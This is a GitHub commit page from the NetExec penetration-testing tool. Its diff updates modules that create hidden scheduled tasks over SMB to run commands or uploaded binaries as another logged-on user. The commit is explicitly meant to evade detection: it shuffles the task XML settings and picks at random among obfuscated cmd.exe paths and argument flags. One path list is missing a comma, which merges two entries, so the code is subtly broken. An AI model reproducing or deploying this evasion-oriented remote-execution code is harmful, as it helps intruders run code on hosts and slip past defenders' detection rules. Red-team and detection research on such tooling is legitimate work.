Skip to content

Commit 82b0f97

Browse files
authored
Merge pull request Pennyw0rth#721 from Kahvi-0/main
Update schtask_as.py to help bypass detection
2 parents 05d15a9 + 33ecbe2 commit 82b0f97

2 files changed

Lines changed: 77 additions & 47 deletions

File tree

nxc/modules/schtask_as.py

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ def options(self, context, module_options):
1818
BINARY OPTIONAL: Upload the binary to be executed by CMD
1919
TASK OPTIONAL: Set a name for the scheduled task name
2020
FILE OPTIONAL: Set a name for the command output file
21-
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
21+
LOCATION OPTIONAL: Set a location for the command output file (e.g. 'C:\\Windows\\Temp\\')
2222
2323
Example:
2424
-------
@@ -28,7 +28,7 @@ def options(self, context, module_options):
2828
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = None
2929
self.share = "C$"
3030
self.tmp_dir = "C:\\Windows\\Temp\\"
31-
self.tmp_share = self.tmp_dir.split(":")[1]
31+
self.tmp_path = self.tmp_dir.split(":")[1]
3232

3333
if "CMD" in module_options:
3434
self.command_to_run = module_options["CMD"]
@@ -46,7 +46,8 @@ def options(self, context, module_options):
4646
self.output_filename = module_options["FILE"]
4747

4848
if "LOCATION" in module_options:
49-
self.output_file_location = module_options["LOCATION"]
49+
# Ensure trailing backslashes
50+
self.output_file_location = module_options["LOCATION"].rstrip("\\") + "\\"
5051

5152
name = "schtask_as"
5253
description = "Remotely execute a scheduled task as a logged on user"
@@ -57,29 +58,28 @@ def on_admin_login(self, context, connection):
5758

5859
if self.command_to_run is None:
5960
self.logger.fail("You need to specify a CMD to run")
60-
return 1
61+
return
6162

6263
if self.run_task_as is None:
6364
self.logger.fail("You need to specify a USER to run the command as")
64-
return 1
65+
return
6566

6667
if self.binary_to_upload:
6768
if not os.path.isfile(self.binary_to_upload):
6869
self.logger.fail(f"Cannot find {self.binary_to_upload}")
69-
return 1
70+
return
7071
else:
7172
self.logger.display(f"Uploading {self.binary_to_upload}")
73+
binary_file_location = self.tmp_path if self.output_file_location is None else self.output_file_location
7274
with open(self.binary_to_upload, "rb") as binary_to_upload:
7375
try:
7476
self.binary_to_upload_name = os.path.basename(self.binary_to_upload)
75-
connection.conn.putFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}", binary_to_upload.read)
76-
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.tmp_share}{self.binary_to_upload_name}")
77+
connection.conn.putFile(self.share, f"{binary_file_location}{self.binary_to_upload_name}", binary_to_upload.read)
78+
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {binary_file_location}{self.binary_to_upload_name}")
7779
except Exception as e:
78-
self.logger.fail(f"Error writing file to share {self.tmp_share}: {e}")
79-
return 1
80+
self.logger.fail(f"Error writing file to share {binary_file_location}: {e}")
81+
return
8082

81-
# Returnes self.command_to_run or \Windows\temp\BinToExecute.exe depending if BINARY=BinToExecute.exe
82-
self.command_to_run = self.command_to_run if not self.binary_to_upload else f"{self.tmp_share}{self.command_to_run}"
8383
self.logger.display("Connecting to the remote Service control endpoint")
8484
try:
8585
exec_method = TSCH_EXEC(
@@ -122,7 +122,7 @@ def on_admin_login(self, context, connection):
122122
finally:
123123
if self.binary_to_upload:
124124
try:
125-
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.binary_to_upload_name}")
126-
context.log.success(f"Binary {self.binary_to_upload_name} successfully deleted")
125+
connection.conn.deleteFile(self.share, f"{binary_file_location}{self.binary_to_upload_name}")
126+
context.log.success(f"Binary {binary_file_location}{self.binary_to_upload_name} successfully deleted")
127127
except Exception as e:
128-
context.log.fail(f"Error deleting {self.binary_to_upload_name} on {self.share}: {e}")
128+
context.log.fail(f"Error deleting {binary_file_location}{self.binary_to_upload_name} on {self.share}: {e}")

nxc/protocols/smb/atexec.py

Lines changed: 62 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
import os
2+
import random
23
from textwrap import dedent
34
from impacket.dcerpc.v5 import tsch, transport
45
from impacket.dcerpc.v5.dtypes import NULL
@@ -80,51 +81,83 @@ def get_end_boundary(self):
8081
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
8182

8283
def gen_xml(self, command):
84+
# Random setting order to help with detection
85+
settings = [
86+
" <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>",
87+
" <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>",
88+
" <AllowHardTerminate>true</AllowHardTerminate>",
89+
" <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>",
90+
" <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>"
91+
]
92+
random.shuffle(settings)
93+
randomized_settings = "\n".join(settings)
94+
settings2 = [
95+
" <AllowStartOnDemand>true</AllowStartOnDemand>",
96+
" <Hidden>true</Hidden>",
97+
" <Enabled>true</Enabled>",
98+
" <RunOnlyIfIdle>false</RunOnlyIfIdle>",
99+
" <WakeToRun>false</WakeToRun>",
100+
" <Priority>7</Priority>",
101+
" <ExecutionTimeLimit>P3D</ExecutionTimeLimit>"
102+
]
103+
random.shuffle(settings2)
104+
randomized_settings2 = "\n".join(settings2)
105+
idleSettings = [
106+
" <StopOnIdleEnd>true</StopOnIdleEnd>",
107+
" <RestartOnIdle>false</RestartOnIdle>"
108+
]
109+
random.shuffle(idleSettings)
110+
randomized_idleSettings = "\n".join(idleSettings)
111+
112+
random_cmd_path = [
113+
"cmd",
114+
"cmd.exe",
115+
"C:\\Windows\\System32\\cmd",
116+
"C:\\Windows\\System32\\cmd.exe",
117+
"C:\\Windows\\System32\\..\\System32\\cmd",
118+
"C:\\Windows\\System32\\..\\System32\\cmd.exe",
119+
"C:\\Windows\\..\\Windows\\System32\\cmd"
120+
"C:\\Windows\\..\\Windows\\System32\\cmd.exe",
121+
]
122+
cmd_path = random.choice(random_cmd_path)
123+
random_cmd_arg = ["/c", "/C", "/Q /c", "/F:ON /c", "/T:fg /c", "/T:fg /Q /C", "/F:ON /Q /C"]
124+
full_command = f"{random.choice(random_cmd_arg)} {command}"
125+
83126
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
84-
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
127+
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
85128
<Triggers>
86-
<RegistrationTrigger>
87-
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
88-
</RegistrationTrigger>
129+
<RegistrationTrigger>
130+
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
131+
</RegistrationTrigger>
89132
</Triggers>
90133
<Principals>
91-
<Principal id="LocalSystem">
92-
<UserId>{self.run_task_as}</UserId>
93-
<RunLevel>HighestAvailable</RunLevel>
94-
</Principal>
134+
<Principal id="LocalSystem">
135+
<UserId>{self.run_task_as}</UserId>
136+
<RunLevel>HighestAvailable</RunLevel>
137+
</Principal>
95138
</Principals>
96139
<Settings>
97-
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
98-
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
99-
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
100-
<AllowHardTerminate>true</AllowHardTerminate>
101-
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
102-
<IdleSettings>
103-
<StopOnIdleEnd>true</StopOnIdleEnd>
104-
<RestartOnIdle>false</RestartOnIdle>
105-
</IdleSettings>
106-
<AllowStartOnDemand>true</AllowStartOnDemand>
107-
<Enabled>true</Enabled>
108-
<Hidden>true</Hidden>
109-
<RunOnlyIfIdle>false</RunOnlyIfIdle>
110-
<WakeToRun>false</WakeToRun>
111-
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
112-
<Priority>7</Priority>
140+
{randomized_settings}
141+
<IdleSettings>
142+
{randomized_idleSettings}
143+
</IdleSettings>
144+
{randomized_settings2}
113145
</Settings>
114146
<Actions Context="LocalSystem">
115-
<Exec>
116-
<Command>cmd.exe</Command>
147+
<Exec>
148+
<Command>{cmd_path}</Command>
117149
"""
150+
118151
if self.__retOutput:
119152
file_location = "\\Windows\\Temp\\" if self.output_file_location is None else self.output_file_location
120153
if self.output_filename is None:
121-
self.__output_filename = os.path.join(file_location, gen_random_string(6))
154+
self.__output_filename = os.path.join(file_location, gen_random_string(8))
122155
else:
123156
self.__output_filename = os.path.join(file_location, self.output_filename)
124-
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
157+
argument_xml = f" <Arguments>{full_command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
125158

126159
elif self.__retOutput is False:
127-
argument_xml = f" <Arguments>/C {command}</Arguments>"
160+
argument_xml = f" <Arguments>{full_command}</Arguments>"
128161

129162
self.logger.debug("Generated argument XML: " + argument_xml)
130163
xml += argument_xml
@@ -147,7 +180,6 @@ def execute_handler(self, command):
147180
dce.connect()
148181

149182
xml = self.gen_xml(command)
150-
151183
self.logger.debug(f"Task XML: {xml}")
152184
self.logger.info(f"Creating task \\{self.task_name}")
153185
try:
@@ -178,7 +210,6 @@ def execute_handler(self, command):
178210

179211
if self.__retOutput:
180212
smbConnection = self.__rpctransport.get_smb_connection()
181-
182213
tries = 1
183214
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
184215
sleep(0.4)
@@ -211,7 +242,6 @@ def execute_handler(self, command):
211242
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
212243
tries += 1
213244
sleep(1)
214-
215245
try:
216246
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
217247
smbConnection.deleteFile(self.__share, self.__output_filename)

0 commit comments

Comments
 (0)